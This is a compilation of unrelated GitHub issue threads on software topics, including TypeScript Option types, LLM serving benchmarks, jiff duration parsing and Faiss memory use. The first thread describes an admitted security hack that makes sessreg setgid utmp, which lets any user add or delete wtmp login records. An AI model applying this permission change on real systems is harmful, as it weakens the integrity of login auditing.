We support hundreds of local linux thin clients through xdm/xdmcp on our main system (currently Alma 8) and just recently installed xrdp/xorgxrdp to start supporting remote users as well (with appropriate multifactor security and firewall precautions).  We didn't run into the wtmp problem because we already customized things a different way for xdm, which is also working with xrdp.
Since all users use icewm, we put a sessreg commands in icewm's startup (to add a wtmp record) and shutdown (to close out the wtmp record).  This did require something sneaky- we had to chown utmp /usr/bin/sessreg ; chmod g+s sessreg.  This is because sessreg cannot be run as a normal user.  Probably a security no-no, since any user can then add or delete records as they please.  But, at the time, it looked like our only option.  Anyway, it is a hack, but does the job.  Note, I am not recommending anyone follow this course of action, but thought it would at least be amusing.  :)

Thanks @freonheat - it's always good to hear from our enterprise users.
Hopefully we're getting close to our GFX release, so it shouldn't be too long before we can get #2745 in an official release for you.

#2745 is now merged into devel, so I'm closing this thread.


if let construction?

I'm not sure if this would be possible in typescript.
In addition to match, rust also has if let Some(X) = an_opt_var { ....
This is really useful, since often the None case isn't used / ignored.
It's possible to do if (opt.isSome()) { let x = opt.unwrap()... but that's less compiler-checked, and it requires an unsafe unwrap.
I'd like this a lot since my lemmy-ui codebase has tons of these verbose .match whilst ignoring the none case, all over the code.

It appears that you're focused on this behavior of if let: when using it, you delegate the unwrap operation to a compiler abstraction and then your code block is lazily evaluated with the unwrapped variable provided to you by that abstraction.
TypeScript can't implement Rust's control flow syntax — although I'd bet I'm not alone in wishing it could.
Something that you can use instead is Option#map which looks like this:
(Option<T>).map(fn: (val: T) => U) => Option

The callback is lazy and is only invoked for Some variants. Compare the sources:
Some variant:
map(fn: (val: T) => U): OptSome {
  return some_constructor(fn(val));
}

None variant:
map(_fn: (val: T) => U): OptNone {
  return none_constructor();
}

Is that what you're looking for?
If not, can you explain in more detail what it is that you want from if let?

In case you're interested in more on types...
You also said:

It's possible to do if (opt.isSome()) { let x = opt.unwrap()... but that's less compiler-checked...

There's a subtle difference between using the Option#isSome method compared to using the top-level function export isSome: both return a boolean value, but the function export is also a type guard. Consider this example:
TS Playground
import {isSome, type Option} from '@sniptt/monads';

declare let numOpt: Option<number>;

// Using the instance method:
if (numOpt.isSome()) {
  // The compiler still doesn't know that it has a value. It's still just `Option<T>`:
  numOpt;
//^? let numOpt: Option<number>
}

// Using the function:
if (isSome(numOpt)) {
  // Now the compiler knows that it's `OptSome(T)`:
  numOpt;
//^? let numOpt: OptSome<number>
}

Because of the way that type guards work in TS (return type predicates can only be conveyed about parameter values), zero-argument methods can't be used as type guards for their owner objects. This is why the code above works the way it does.

...and it requires an unsafe unwrap

If you examine these interface types in the source, you can see that the return types are truly sound (type-safe):
export interface Option<T> {
  // --- snip ---
  unwrap(): T | never;
  // --- snip ---
}

export interface OptSome<T> extends Option<T> {
  // --- snip ---
  unwrap(): T;
  // --- snip ---
}

export interface OptNone<T> extends Option<T> {
  // --- snip ---
  unwrap(): never;
  // --- snip ---
}

The "problem" is in the way that never is handled in TypeScript's union types. In unions, never is always absorbed by other types. Here's an example for illustration:
TS Playground
// `never` is always absorbed in unions:

type U1 = string | never;
   //^? type U1 = string

type U2 = any | never;
   //^? type U2 = any

type U3 = unknown | never;
   //^? type U3 = unknown

type U4 = void | never;
   //^? type U4 = void

// `unknown` always dominates other types (except `any`):

type U5 = string | number | unknown | never;
   //^? type U5 = unknown

type U6 = string | number | unknown | never | any;
   //^? type U6 = any

So when using the unwrap method, this happens:
TS Playground
import {isNone, isSome, type Option} from '@sniptt/monads';

declare let numOpt: Option<number>;

if (numOpt.isSome()) {
  numOpt;
//^? let numOpt: Option<number>

  // The return type here is acutally `T | never`, but `never` is absorbed:
  const unwrapped = numOpt.unwrap();
      //^? const unwrapped: number
}

if (isSome(numOpt)) {
  numOpt;
//^? let numOpt: OptSome<number>

  // The return type here is acutally just `T`:
  const unwrapped = numOpt.unwrap();
      //^? const unwrapped: number
}

// Using `isNone`:
if (isNone(numOpt)) {
  numOpt;
//^? let numOpt: OptNone<number>

  // The return type here is soundly resolved:
  const unwrapped = numOpt.unwrap();
      //^? const unwrapped: never
}

The isSome(... function would work, if there was some way to get a compiler to throw errors only on the OptNone or unknown unwraps (and let the OptSome ones pass compiler checks).
The .map doesn't really work for me, because I need to actually be able to return the unwrapped item from the code blocks. Here's an example of what I have to do in my codebase with jsx:
render() {
  return (
    {post.url.match({
      some: url =>
URL HERE!
,
      none: <></>,
    })} // This statement actually does return `JSX.Element`

I would love to be able to do:
{post.url.let(url =>
URL HERE!
)}

The .map doesn't really work for me, because I need to actually be able to return the unwrapped item from the code blocks.

Of course: that makes sense — it's quite challenging for values to be useful if they must always stay inside a block scope.
But what if the unwrapped value doesn't exist (a None instead of a Some)? Neither of the code blocks you showed address that possibility:

I would love to be able to do:
{post.url.let(url =>
{url} HERE!
)}

If post.url were actually a None variant, then what type would that expression evaluate to? undefined maybe (based on the Rust snippet you shared)?

In rust, this would be like:
if let Some(url) = post.url {

{url} HERE!

}

In that Rust code (assuming that all of the syntax were valid), the React element would still need to be assigned to a variable to be used outside the block, like this:
let react_element = if let Some(url) = post.url {

{url} HERE!

};

But — in Rust — if expressions without else evaluate to the unit type ().
So, in the case that post.url were actually a Some variant — the expression would evaluate to a React element: JSX.Element (which is essentially just an alias for a ReactElement with any for the generic type parameters). But in the case that post.url were a None variant, the expression would evaluate to () — and this would cause the program to fail to compile because every value has to be a single type. You could store the result in a container type (like Option<ReactElement>), but then you're back to where you started outside the block, except that you've applied a transformation to the Some variant's value (if it existed).
It's simple to fix this so that the program could compile: just supply a default ReactElement in an else block:
let react_element = if let Some(url) = post.url {

{url} HERE!

} else {
    <></>
};

The TypeScript equivalent of the example Rust block above would be to chain the following methods together:

Option#map to lazily transform the Some variant value, and then

Option#unwrapOr to safely unwrap the Some variant's value (or use a default of the same type in the case that it's a None variant — just like you would in Rust)

Putting that together with your JSX example looks like this:
TS Playground
import type {Option} from '@sniptt/monads';

declare let post: { url: Option<URL> };

const reactElement = post.url.map(url => (
{url.href} HERE!
)).unwrapOr(<></>);
    //^? const reactElement: JSX.Element

However, if you really want to use another type of default, that's certainly possible — TypeScript doesn't have the same requirement for a variable to be of a single type (that's exactly what unions are: one of multiple types). You can do something like this:
TS Playground
import type {ReactElement} from 'react';
import type {Option} from '@sniptt/monads';

declare let post: { url: Option<URL> };

const reactElementOrUndefined = post.url
  .map<ReactElement | undefined>(url => (
{url.href} HERE!
))
  .unwrapOr(undefined);

And, of course, you can create your own function abstraction to lazily execute and return the result of a callback function depending on the Option variant, like this:
TS Playground
import type {Option} from '@sniptt/monads';

function matchOption <T, SomeResult, NoneResult>(
  opt: Option<T>,
  someFn: (val: T) => SomeResult,
  noneFn: () => NoneResult,
): SomeResult | NoneResult;
function matchOption <T, SomeResult>(
  opt: Option<T>,
  someFn: (val: T) => SomeResult,
): SomeResult | undefined;
function matchOption <T, SomeResult, NoneResult>(
  opt: Option<T>,
  someFn: (val: T) => SomeResult,
  noneFn?: () => NoneResult,
) {
  return opt.isSome() ? someFn(opt.unwrap()) : noneFn?.();
}

// Use:

declare let strOpt: Option<string>;

const upper = (str: string): string => str.toUpperCase();

// Explicitly returning `undefined` in the None callback:
const uppercaseOrUndefined1 = matchOption(strOpt, upper, () => undefined);
    //^?

// Omitting the None callback always results in `undefined` as the return type
// in the case of a None variant:
const uppercaseOrUndefined2 = matchOption(strOpt, upper);
    //^?

...which is essentially an ever-so-slightly less verbose version of Option#match:

it skips the object syntax in favor of ordered parameters, and
the None callback is optional — undefined is returned if it is not provided and the option argument happens to be a None variant.

The type inference is also a bit more flexible because of the generics in the overload signature.
Is this syntactically more concise than match? Maybe — but at the expense of clarity IMO.


Fix solar yield to report Joules rather than w/h

Fixed issue where the plugin was reporting w/h to the solar yield path in w/h while SignalK expected Joules.

Hrm, we fixed this before in #11, but was accidentally reverted in #15.
I had thought this module was simple enough to not need regression tests, but ... :P


[MOD = 2.5][Request = Save Schematics with modded items for Structpro]

I would like to stop using reccurrent complex but I need a way to save import and export schematic with a wand. It may help with things if structpro had its own system. It would also make it easier for me to make additional structures. Especially modded structures. I need to be able to export my server hub. Also it would be nice if you added a warning that you have exceeded max structure size if a user tries to save to big an area.

Done with StructPro 3.8


Un-color the scammers warning when using testnet.

If scammers are active, telling users to type commands in the console, stealing their testnet wallet contents, maybe someone can send them some more testnet coins.

Leak bugs, set draft.

I'm developing this using a powerful Apple machine, but I'm not familiar with leak debugging on macOS.
I can use Memcheck, but I don't have any decent hardware running Linux.
Would be too much to ask for, to abuse CI as a leak debugger?

I can't prove it introduces leak bugs, unset draft.

Before merging, if that were the case, 268c302bcfcd7898358a695984c2f028d3baab74 should be collapsed to 0c85f16b8b0bdf7387b1fd2792448863efdaf97f and 0c85f16b8b0bdf7387b1fd2792448863efdaf97f should be reworded. Set draft.

luke-jr wrote:

Concept NACK. Testnet is for testing. It should be as close to mainnet
use as possible. There's no reason to treat it specially here. Even
worse, the code for doing it is excessively complex.

You make an excellent point in general; but specifically about
complexity, I can't speak for every desktop environment, but today in my
end I'm seeing that red[0] and specially #006060[1]
are much better suited for contrast in Plasma Breeze than in Plasma
Breeze Dark.
Of course maybe Plasma Breeze Dark is broken, IDK, but if so, maybe it
even will be dismantled before it gets ever fixed, but the point here
is... because of recent tendency in user interfaces and specially
increasing demand (or offer?) of dark/light preferences support, you can
stop it today, but it's possible that you might be inevitably going to
have a bit of complexity increase here in the end, in order to support
more precise color schemes.
o/
[0]: https://github.com/bitcoin/bitcoin/blob/da1c0c64fd094880712d1c4167ad9eb3bb6ffcc6/src/qt/rpcconsole.cpp#L849
[1]: https://github.com/bitcoin/bitcoin/blob/da1c0c64fd094880712d1c4167ad9eb3bb6ffcc6/src/qt/rpcconsole.cpp#L848

NACK
This change is not well motivated. I see no reason to add extra complexity for a color change that has no real effect on users.
If the problem is that the colors don't work in certain environments, then a more general change to the color scheme (and perhaps making it more flexible) would be more appropriate than a targeted change to this one specific line of text.

There's definitely work to be done on supporting user themes/palettes, but this isn't the right approach. (Might I suggest reviving and troubleshooting https://github.com/bitcoin/bitcoin/pull/8889 as a good place to start? ;)

This PR looks pretty controversial: 1 Concept NACK, 2 NACKs.
Going to close it.

I am concept NACK on this, not worth added complexity or effort

I like the general idea of making  the network style contribute part of the style sheet as way of accomplishing this. I think this is much better than the initial implementation, which, though simple, hardcoded the network matching in an ad hoc way.
Whether the change itself is worth it I don't know. Highlighting the scam warning on testnet doesn't really hurt.


analysis.updateOptions throws exceptions if optional fields aren't passed in

analysis.updateOptions throws exceptions if optional fields aren't passed in. For instance, if I want to just set enableNullAwareOperators, I get an exception back:
Uncaught Uncaught Error: [RequestError code: INVALID_PARAMETER,message: Invalid parameter 'params.options.enableAsync'. Expected to be bool.]

This means that I have to pass in all the currently known options when I want to just set one. And it means that I'll have trouble communicating with an analysis server that understands more parameters then I currently send in.

I cannot reproduce the behavior you're describing. Sending a request with a single option defined ("{options: {enableNullAwareOperators: true}}") works for me without producing an error.
Is there a stack trace to go with the error message?
Can you capture the JSON encoding of the request that's being sent?
If not, I have a CL out (https://codereview.chromium.org/1246573002/) that should get us a little more information. Please re-run the code after this CL has landed.

If it helps, I'm running with the analysis server from Dart VM version: 1.12.0-dev.1.0.

And, I now suspect that I'm passing in null for the unspecified values. Let me confirm.

Yup, we were providing values for the fields we were interested in, and passing in null for all other fields. I switched to just passing in values for fields being used and things are working smoothly :)


feat: re-allocate pages dynamically

Today we allocate all pages at once when first scheduling the request.
This can lead to under-utilisation as a lot of requests terminate by eos token before reaching max new tokens (see p50 in prod).
This PR re-allocates pages dynamically each time a request finishes a page.
Benchmark = share gpt with max_new_tokens forced at 2048 tokens.

Today: without cache extension == allocate all pages at once

     ✓ Post status is 200

     checks.........................: 100.00% ✓ 91         ✗ 0
     data_received..................: 985 kB  16 kB/s
     data_sent......................: 218 kB  3.6 kB/s
     dropped_iterations.............: 410     6.721098/s
     generated_tokens...............: 13388   219.468448/s
     http_req_blocked...............: avg=134.68µs min=1.98µs  med=139.44µs max=252.97µs p(90)=160.32µs p(95)=187.01µs
     http_req_connecting............: avg=87.16µs  min=0s      med=88.77µs  max=170.74µs p(90)=107.65µs p(95)=126.97µs
     http_req_duration..............: avg=20.01s   min=44.28ms med=19.3s    max=53.21s   p(90)=42.29s   p(95)=47.46s
       { expected_response:true }...: avg=20.01s   min=44.28ms med=19.3s    max=53.21s   p(90)=42.29s   p(95)=47.46s
   ✓ http_req_failed................: 0.00%   ✓ 0          ✗ 91
     http_req_receiving.............: avg=68.66µs  min=27.79µs med=62.52µs  max=151.18µs p(90)=100.17µs p(95)=132.87µs
     http_req_sending...............: avg=39.49µs  min=18.96µs med=39.5µs   max=82.64µs  p(90)=51.91µs  p(95)=59.98µs
     http_req_tls_handshaking.......: avg=0s       min=0s      med=0s       max=0s       p(90)=0s       p(95)=0s
     http_req_waiting...............: avg=20.01s   min=44.05ms med=19.3s    max=53.21s   p(90)=42.29s   p(95)=47.46s
     http_reqs......................: 91      1.491756/s
     inference_time.................: avg=6.67s    min=42ms    med=2.96s    max=41.45s   p(90)=17.26s   p(95)=19.74s
     iteration_duration.............: avg=20.01s   min=45.18ms med=19.3s    max=53.21s   p(90)=42.29s   p(95)=47.46s
     iterations.....................: 91      1.491756/s
     queue_time.....................: avg=13.33s   min=1ms     med=11.75s   max=47.45s   p(90)=30.87s   p(95)=32.49s
     time_per_token.................: avg=107.59ms min=39ms    med=47ms     max=366ms    p(90)=260ms    p(95)=338ms
     total_time.....................: avg=20.01s   min=42ms    med=19.3s    max=53.21s   p(90)=42.29s   p(95)=47.46s
     validation_time................: avg=1ms      min=1ms     med=1ms      max=1ms      p(90)=1ms      p(95)=1ms
     vus............................: 100     min=7        max=100
     vus_max........................: 100     min=100      max=100

With this PR

     ✓ Post status is 200

     checks.........................: 100.00% ✓ 206        ✗ 0
     data_received..................: 2.0 MB  32 kB/s
     data_sent......................: 332 kB  5.4 kB/s
     dropped_iterations.............: 296     4.852316/s
     generated_tokens...............: 26491   434.265927/s
     http_req_blocked...............: avg=58.13µs  min=1.5µs   med=3.6µs   max=250.73µs p(90)=145.47µs p(95)=151.59µs
     http_req_connecting............: avg=36.95µs  min=0s      med=0s      max=174.92µs p(90)=92.87µs  p(95)=98.04µs
     http_req_duration..............: avg=11.43s   min=43.66ms med=6.82s   max=51.01s   p(90)=29.03s   p(95)=34.9s
       { expected_response:true }...: avg=11.43s   min=43.66ms med=6.82s   max=51.01s   p(90)=29.03s   p(95)=34.9s
   ✓ http_req_failed................: 0.00%   ✓ 0          ✗ 206
     http_req_receiving.............: avg=64.4µs   min=14.6µs  med=58.8µs  max=196.64µs p(90)=99.13µs  p(95)=124.75µs
     http_req_sending...............: avg=30.86µs  min=19.16µs med=24.53µs max=404.66µs p(90)=41.19µs  p(95)=44.9µs
     http_req_tls_handshaking.......: avg=0s       min=0s      med=0s      max=0s       p(90)=0s       p(95)=0s
     http_req_waiting...............: avg=11.43s   min=43.5ms  med=6.82s   max=51.01s   p(90)=29.03s   p(95)=34.9s
     http_reqs......................: 206     3.37695/s
     inference_time.................: avg=10.88s   min=42ms    med=5.92s   max=50.7s    p(90)=28.16s   p(95)=34.71s
     iteration_duration.............: avg=11.43s   min=44.34ms med=6.82s   max=51.01s   p(90)=29.04s   p(95)=34.9s
     iterations.....................: 206     3.37695/s
     queue_time.....................: avg=543.15ms min=1ms     med=433.5ms max=2.62s    p(90)=1.13s    p(95)=1.34s
     time_per_token.................: avg=230.86ms min=42ms    med=97ms    max=900ms    p(90)=715ms    p(95)=730.25ms
     total_time.....................: avg=11.43s   min=42ms    med=6.82s   max=51.01s   p(90)=29.03s   p(95)=34.9s
     validation_time................: avg=1ms      min=1ms     med=1ms     max=1ms      p(90)=1ms      p(95)=1ms
     vus............................: 99      min=7        max=100
     vus_max........................: 100     min=100      max=100

Queue time is greatly improved (p99 32s => 1.34s) and throughput is multiplied by > 2 (1.49 => 3.37)

@zirconium-n Thanks for  your input.
Can you provide a bit of background on yourself ? Who are you and how are you trying to help here ?

Starting with introduction on where you come from and what's your goal will go a long way with us replying in a positive manner.

I will not engage further if this is unwanted.

No this is fine, you can continue, just bear in mind that we might not know all this beforehand :).
Thanks for your input.
As for the core of the changes here, it's about becoming optimistic in memory allocation (instead of the current pessimistic approach). So allocating all possible memory for a give request vs allocating later and having to deal with potential OOM situations.

I think this could be interesting especially in context of this pr
https://buildkite.com/vllm/performance-benchmark/builds/4068


Uniswap-V2 Ethereum - Outlier in Uniswap v2 subgraph

https://subgraphs.messari.io/subgraph?endpoint=https://api.thegraph.com/subgraphs/name/messari/uniswap-v2-ethereum&tab=protocol

#1237
Being addressed and grafting from this PR.

Related to issue #1391

Closing this, will be addressed in substreams


Setting "label_class" and "field_class" individually for each field

Referring to the documentation, it is easy to change the column widths of labels and fields of complete horizontal forms using bootstrap and crispy-forms (see here: http://django-crispy-forms.readthedocs.org/en/latest/crispy_tag_forms.html#bootstrap3-horizontal-forms)
However, I don't find a way to determine the width of just one input field. For example, in my form I have a color-input. As this input would never contain more than 6 characters, it's unnecessary that this field covers the whole page-width. I would rather add the classes "col-md-2 col-xs-3" to that input to make it smaller.
As far as I can see this is not easy to achieve at the moment.
Also see this question: http://stackoverflow.com/questions/24812267/crispy-forms-add-css-class-for-one-of-the-inputs/

I have same problem. And I can't find a solution yet, too.

Same here. There's also someone on SO that would benefit from a solution:http://stackoverflow.com/questions/24812267/crispy-forms-add-css-class-for-one-of-the-inputs
My workaround is a custom field template, but that's way overkill.

I can't seem to figure it out as well can some one propose a solution?

+1 I've just run into this as well; somewhat frustrating that something seemingly so simple takes such a disproportionate amount of time to work around :\

You should be creating project specific templates for cases like this.
The bottom line is we can't include and maintain templates that cover every use-case. We cover the 80:20; the rest is up to individual users.
If someone can come up with a simple, generic solution then a pull request will be favourably reviewed. Until then I'm going to close this as out of scope.


useHash:true makes it render slower.

If I use the useHash option under urlSync, the results renderization gets really slow.
Here's without useHash:

(video: http://recordit.co/A1n7bNNLN7)
And with useHash:

(video: http://recordit.co/8bxwVUGy9B)

Hi @semeano, is the "without useHash" case still using urlSynchronisation? Indeed it may be that in some situations, updating the hash too often leads to bad performance.

Hi @vvo,
Yes, it is still using urlSync.
The only difference between those two is just the useHash flag.

@semeano Which browser are you using for your tests? On which platform / OS?

Sorry, should have mentioned on the first post.
Chrome 54.0.2840.71 (64-bit)
Mac OS X 10.9.5 (Mavericks)

Just a suggestion. Instead of updating the url on every keystroke, why not use the urlSync.threshold parameter to affect the url updating time too?

Just a suggestion. Instead of updating the url on every keystroke, why not use the urlSync.threshold parameter to affect the url updating time too?

It's tricky, because then you have an interface that gets updated at every keystroke but the url itself is only updated after 700ms, which results in a visual distraction if you already started reading the webpage (we tried it, not convincing).
Can I ask you the reason for using the hash instead of the url? Ultimately I think we will remove the hash option because it causes too much issues.

I was having some issues. Sometimes if I went back to the results page (i.e. homepage > results page > product page > back to results page), the url would stop sync.
But right now I'm not using urlSync anymore.

We'd better try to fix those non working urlSync classical issues before we try to fix the performance of the hash based one that we will eventually drop support of.
If you are able to reproduce the issue, please open a new one, thanks a lot


Change default bind address to <IP_ADDRESS>

In case of Docker installation of Artifactory Cluster, it is hard to access bullfrog via <IP_ADDRESS>

Changed the default to be <IP_ADDRESS> in v0.0.2


Categories should be stickied during scrolling

Right now, it's impossible, at first glance or scrolling back up, to know whether the user is looking at tabs or history. Making the categories stick at the top of the results should help.
I'm not familiar with Svelte, however, for sticky to work, there needs to be a div surrounding both the category div and the appropriate results.

Yes, category sticking sounds really useful. I would look into this as we might need some restructuring of markup for this to work.

This was well-needed, thanks for raising the issue @asharonbaltazar


Support client-specific tls-crypt keys

OpenVPN 2.5 added support for client-specific tls-crypt keys (--tls-crypt-v2) which in case of the compromise of a client only that client's pre-shared key would be affected. What we do currently is using the same shared key for every user.
Documentation at https://github.com/OpenVPN/openvpn/blob/master/doc/tls-crypt-v2.txt

This is exactly what Easy-TLS is for. (Sorry for the spam)

Please add this.

Please add this.


Check setTime call's this_arg

Add check for setTime implementation to see if the this argument is really a Date object.
JerryScript-DCO-1.0-Signed-off-by: Peter Gal<EMAIL_ADDRESS>

Fixes #566

lgtm

Looks good


pkg/bootkube: Remove dependency on github.com/coreos/etcd/pkg/fileutil.

glide.yaml is not touched until another etcd denpendency is fixed.

rktbot run tests


Fraction computation with large times produces strange timestamps which are not printed sanely

The following testcases trigger the observed behaviour:
pT026733320132.65M
PT834662292.2H
PT22444444452,6m
Pt843517081,1H

Looking a bit further, it seems that the routine for parsing fractional time is a bit strange in the presence of large values. Specifically (for the case of minutes), this code region:
if minutes > t::SpanMinutes::MAX_SELF {
    nanos +=
        (minutes - t::SpanMinutes::MAX_SELF) * t::NANOS_PER_MINUTE;
    minutes = t::NoUnits128::rfrom(t::SpanMinutes::MAX_SELF);
}

This code is explained by the following text:
The above is why we have `if unit_value > MAX { <do adjustments> }` in
the balancing code below. Basically, if we overshoot our limit, we back
out anything over the limit and carry it over to the lesser units. If
our value is truly too big, then the final call to set nanoseconds will
fail.

It is unclear to me why the units would be backfilled to the smallest unit. Shouldn't this be implemented in the other direction, preferring larger units for larger values?
Regardless, the result is that the nanos value is set to something large. For the first testcase, the resulting computed timestamp is printed as PT10518456960m972891790359s. This value is correct, but not parseable because the seconds unit is out of range:
>>> int(26733320132.65*60)
1603999207959
>>><PHONE_NUMBER>0*60+972891790359
1603999207959

Note that in memory, this value is actually:
Span { minutes:<PHONE_NUMBER>0, seconds:<PHONE_NUMBER>00, milliseconds:<PHONE_NUMBER>59000, .. }

So it would appear that this issue is in part induced by the printer implementation.
This was caught by #57 because the printer emitted invalid timestamps.

To be clear, I think part of the problem here is that the printed duration now reads quite strangely.<PHONE_NUMBER>0 minutes AND<PHONE_NUMBER>59s? This is quite unintuitive, since I would never expect to need to compute the actual number of minutes based on the number of seconds as well. In other words, I think it is confusing that the seconds value ever is greater than or equal to 60 when minutes are presented, and similarly for other units.

Catching up here, here is a concrete program that fails that I believe should succeed:
use jiff::{Span, Unit};

fn main() -> anyhow::Result<()> {
    let span1: Span = "Pt843517081,1H".parse()?;
    let iso = span1.to_string();
    eprintln!("span1 serialized: {iso:?}");
    let span2: Span = iso.parse()?;
    assert_eq!(span1.total(Unit::Hour)?, span2.total(Unit::Hour)?);

    Ok(())
}

Output:
$ cargo -q r
span1 serialized: "PT175307616h10518456960m1774446656760s"
Error: failed to parse ISO 8601 duration string into `Span`: failed to set value<PHONE_NUMBER>760 as second unit on span: parameter 'seconds' with value<PHONE_NUMBER>760 is not in the required range of -631107417600..=631107417600

So this looks to me like there is a real bug here. Nice find! I'll investigate more later.
But yes, there are some shenanigans happening here:

Spans like 1 minute 120 seconds are unbalanced and weird, but totally valid. Serializing them should generally proceed as-is whenever possible.
There is a hiccup with ISO 8601 where it doesn't represent fractional seconds as individual units of milliseconds, microseconds and nanoseconds. This results in a loss of fidelity when serializing Span values, but is a necessary trade-off for ISO 8601 support. However, the actual elapsed time represented by the span should never change.
Each unit of a Span has minimum and maximum values that are less than the minimum and maximum Span value. So you can use the maximum amount of hours, but still add minutes on top of that to represent the span. And that is likely the source of the unbalanced spans you're seeing.

But I can't investigate more closely right now. I'll do so later.


Intelli-Sense for MicroPython

Issue Type: Feature Request
I want to use Visual Studio Code to develop MicroPython on a ESP8266. But I'm really new to Python. I installed VSCode on Linux Mint19.1 (working fine), installed the Extenions "MicroPython IDE" and "Pymakr" (both are working fine), but when I'm writing Code, there is no code-completion for some modules and "machine" is always marked with "unresolved import". Then I cloned the github repo from micropython and "linked" it in my settings.json ("python.autoComplete.extraPaths": ["/home/me/src/micropython/ports/esp8266", "/home/me/src/micropython/drivers"]). With that extrapath i get most module with code-completion and all the nice intellisense features, but not for "machine" or "network". And I'm stuck at this point. I already tried to get some help in the micropython forum but had no success.
what i want to do: build some nice IOT devices with micropython
what i am actually doing: trying to get the environment working
I'm a developer for VB.NET for years and I know to ask "the right" people if you have a problem. So PLEASE can some of you amazing people spend a few hours to support micropython in visual studio code. PLEASE PLEASE PLEASE
greetings Markus
VS Code version: Code 1.32.3 (a3db5be9b5c6ba46bb7555ec5d60178ecc2eaae4, 2019-03-14T23:38:49.842Z)
OS version: Linux x64 4.15.0-46-generic

Please start by filing an issue against the python extension

the python extension is part of vs code (
vscode/extensions/python).
so where should i fill an issue?

https://github.com/Microsoft/vscode-python/issues

thank you :-)


Use Makefile and/or tox?

Are you interested to have a Makefile to execute usual commands (like make test, make doc and make package)?
More or less related, why not using tox to run test locally with python 2.7 and python3 at the same time?
If you think it's a good idea, I will provide a PR.

Tox is a good idea. I'm not sure if a Makefile is useful, are there many other python libraries coming with a Makefile?Sent from my Huawei phone

Perhaps it's because I'm not familiar with tox, but my experience is that debugging is easier with nose than tox. It should probably be fixed in such a way that it's possible to use both tox and nose.

I don't know if there are lot of python libraries with a Makefile. I made three attempts:

Makefile in requests library
not in nose library
not in pytest library

With a Makefile, there is only one point to find main features of the package and how it's done internally.

To me, the main advantage to tox is to easily run the tests on several python versions. If nose can do it, perhaps the idea can be forgotten? To run tox, we can add parameters to setup.cfg or add a new file (tox.ini).

Parameters in setup.cfg would be something like:
[tox:tox]
envlist = py27,py36,py37

Feel free to accept/refuse one or both ideas.

I see no significant disadvantages neither in having a tox-section in the setup.cfg nor a Makefile, so I will accept a pull request eventually.

Sorry for the delay.  All that was needed was a five minute review and pressing a button, but I'm quite swamped nowadays.  Anyway, I'm prioritizing calendar-cli and python-caldav this month.


Doesn't work on 2022.9 (beta)

Describe the bug
Setup failed for custom integration google_home: Requirements for google_home not found: ['glocaltokens==0.6.7'].
Version of the integration
If you are unsure about the version check the github release here.

v1.9.14

Logs

2022-08-31 21:48:51.856 ERROR (MainThread) [homeassistant.setup] Setup failed for custom integration google_home: Requirements for google_home not found: ['glocaltokens==0.6.7'].

homeassistant.requirements.RequirementsNotFound: Requirements for google_home not found: ['glocaltokens==0.6.7'].

Same Issue with 2022.9 (beta)
Logger: homeassistant.setup
Source: setup.py:184
First occurred: 22:18:56 (1 occurrences)
Last logged: 22:18:56
Setup failed for custom integration google_home: Requirements for google_home not found: ['glocaltokens==0.6.7'].

Not sure what the bug is. It clearly fails on requirements, but AFAIK glocaltokens has no dependencies and no other HA core integration uses it either. I run my HA OS in a VM, SSH'd into the homeassistant container and did a pip install. No obvious errors (was on my mobile so could not scroll up tho).

Should be fixed in 1.9.15.

Sorted with update
Thanks for time on this

Thanks, indeed solved in 1.9.15


Can I get new updated package.json because I got a lot of error to run locally this "bulletproof"

Can I get new updated package.json because I got a lot of error to run locally this "bulletproof"

The same problem

Steps I use to run the project.

Switch to node version 16. Precisely 16.19.0 works for me.
Run command yarn at the root of the repo to install the dependencies for the project.
Run command yarn start at the root of the repo to run the project.
If you get an error related to LF and CRLF line endings in windows, I don't have exact solution for that. You need to search for that. I implemented a quick fix to run the project which is modify .eslintrc.js file to remove lines 34, 45, 71. Which removed prettier plugin and linebreak complaints.

I resolved it by using npm instead of yarn.

uninstall node
install node 16.20.2
npm install
npm run start


[Enhancement] [Build-Time V1] Reduce Memory Footprint during Native Index Creation

Description
While running some experiments I can am able to see that we need more memory than final graph which gets created in a segment.
Based on some research what I can see for Faiss

We give faiss, all the vectors and ids for which graph needs to be created. here: https://github.com/navneet1v/k-NN/blob/badbb1d3438a37536ce6de29c4085cded0ef2723/jni/src/faiss_wrapper.cpp#L159 .

After this faiss, internally calls add on the index function. here: https://github.com/facebookresearch/faiss/blob/8898eabe9f16e7bbebdc19667c993f7dc55a6a0c/faiss/IndexIDMap.cpp#L80

This will call internally add function of IndexHNSW, which will first store the vector in a flat index(which is nothing but a binary representation of vectors) and then start creating the HNSW graph.

So based on the above flow I can see that vectors which are stored in native memory in step 1 and passed to Faiss are stored first in FlatIndex of Faiss doubling the native memory.
For Nmslib:

We first take the vectors and copy vectors into this new object of nmslib.
After that, we create the index for nmslib.
After the index is created we save the index to a file. This index writing makes a very large allocation before it writes the index on the file here: https://github.com/nmslib/nmslib/blob/a2d6624e1315402662025debfdd614b505d9c3ef/similarity_search/src/method/hnsw.cc#L417-L428

Issue
Due to this, we need more memory to create a graph than the output Faiss/Nmslib index at a segment level. This really throw off the memory estimations while force merging the segments.
Resolution
With Streaming Vectors from Java to JNI Layer, we are already sending a limited amount of vectors from Java to JNI layer, we can use the same approach to build the graph incrementally by not storing the vectors in a memory location but directly calling faiss add_with_ids api. This will ensure that vectors which are getting streamed from Java to JNI layer we are creating faiss index for them, so no extra memory(apart from streamed vectors) will be required. The api is available for hnsw, IVF, IVFPQ and HNSWPQ.
For Nmslib, we can start creating the object which is required to create the index of nmslib.  This should at-least avoid increase memory foot print. @jmazanec15 added the resolution here: https://github.com/opensearch-project/k-NN/issues/1600#issuecomment-2045973766
### Limitation
K-NN also provides nmslib as KNNEngine, but based on my deep-dive I didn't find similar feature or Nmslib. But overall I still believe we should implement this feature for Faiss Engine.

Good catch! Agree let's prioritize for faiss. Am assuming this feature will be similar to incremental graph construction in Lucene engine?

Good catch! This seem to have potential to cut down large memory footprint. Agree let's prioritize for faiss. Am assuming this feature will be similar to incremental graph construction in Lucene engine?

Its little different as per my understanding. In lucene we create graphs incrementally during indexing(when docs are still in lucene buffer) but above incremental creation of graph is during segment creation(merges and refresh)

@vamshin I have updated the proposal for fixing both nmslib and faiss memory footprint for indexing.
@jmazanec15 can you add the solution for fixing the footprint during saveIndex call of nmslib.

@navneet1v sure
